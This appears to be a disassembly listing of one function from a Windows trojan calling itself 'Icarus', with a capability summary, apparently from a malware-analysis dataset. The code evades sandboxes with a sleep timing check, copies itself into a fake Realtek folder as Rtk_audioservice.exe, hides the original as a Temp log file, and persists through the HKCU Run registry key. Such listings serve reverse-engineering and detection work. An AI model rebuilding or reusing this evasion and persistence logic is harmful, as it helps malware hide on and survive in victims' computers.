Function at 0x140001b40
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Move file
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x490], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, 0x2710
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__difftime64]
ucomisd xmm0, qword [0x140003ae8]
jp 0x140001e76
jne 0x140001e76
mov qword [rsp + 0x5b0], rsi
lea rcx, str.___Dynamic_Analysis_not_detected_n
mov qword [rsp + 0x5b8], rdi
call fcn.140001010
lea rcx, str._i__Starting_Icarus_Trojan..._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov r8d, 0x104
lea rcx, [rbp + 0x160]
mov rdx, qword [rax]
mov rdx, qword [rdx]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fullpath]
test rax, rax
je 0x140001c03
lea rdx, [rbp + 0x160]
lea rcx, str._i__Obtained_path_to_current_file:__s_n_n
call fcn.140001010
mov ecx, 0x20a
call fcn.140001f24
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x105
lea rcx, [rsp + 0x30]
mov rdx, rax
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov r8d, 0x104
lea rdx, [rbp + 0x50]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rbp + 0x50]
mov edx, 0x104
lea r8, str._sAppDataRoamingRealtekRtk_audioservice.exe
lea rcx, [rsp + 0x40]
call fcn.140001070
lea rdx, [rsp + 0x40]
lea rcx, str._i__Icarus_will_be_moved_to_this_path:__s_n_n
call fcn.140001010
mov ecx, 0x20a
call fcn.140001f24
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x105
lea rcx, [rsp + 0x30]
mov rdx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001da3
lea rcx, str._i__The_Icarus_file_do_not_already_exist__starting_procedure_to_creation_of_the_fake_Realtek_environment_n
call fcn.140001010
lea r9, [rbp + 0x50]
mov edx, 0x104
lea r8, str._sAppDataRoamingRealtek
lea rcx, [rbp + 0x270]
call fcn.140001070
mov ecx, 0x20a
call fcn.140001f24
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x105
lea rcx, [rsp + 0x30]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.___Realtek_directory_created_n
call fcn.140001010
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001d48
lea rcx, str._i__The_file_Icarus_has_been_copied_in_the_Fake_Realtek_environment_with_success._n_n
call fcn.140001010
jmp 0x140001d5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_during_the_copy._Error_code:__d_n_n
call fcn.140001010
lea r9, [rbp + 0x50]
mov edx, 0x104
lea r8, str._sAppDataLocalTempwindowsTmpLogs.log
lea rcx, [rbp + 0x380]
call fcn.140001070
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rcx, str.____Error_during_renaming_of_file_n
test eax, eax
jne 0x140001d9e
lea rcx, str.____The_current_file_has_been_moved_to_the_path:_tmp_n
call fcn.140001010
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rdi, qword [rsp + 0x5b8]
mov rsi, qword [rsp + 0x5b0]
test eax, eax
je 0x140001ddc
lea rcx, str.____Error_during_creation_of_a_key_in_the_Windows_Registry._n_n
jmp 0x140001e61
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001df0
mov rcx, qword [rsp + 0x30]
lea rdx, str.Rtk_audioservice
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001e4f
lea rcx, str.____Error_during_the_settings_of_a_key_in_the_Windows_Registry._n_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140001290
mov ecx, eax
call fcn.140001530
xor eax, eax
jmp 0x140001e89
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.___EXE_added_to_Startup_n_n
call fcn.140001010
call fcn.140001290
mov ecx, eax
call fcn.140001530
xor eax, eax
jmp 0x140001e89
lea rcx, str.____Dynamic_Analysis_DETECTED_n
call fcn.140001010
mov rax, 0xffffffffffffffff
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.140001ec0
mov rbx, qword [rsp + 0x5c0]
add rsp, 0x5a0
pop rbp
ret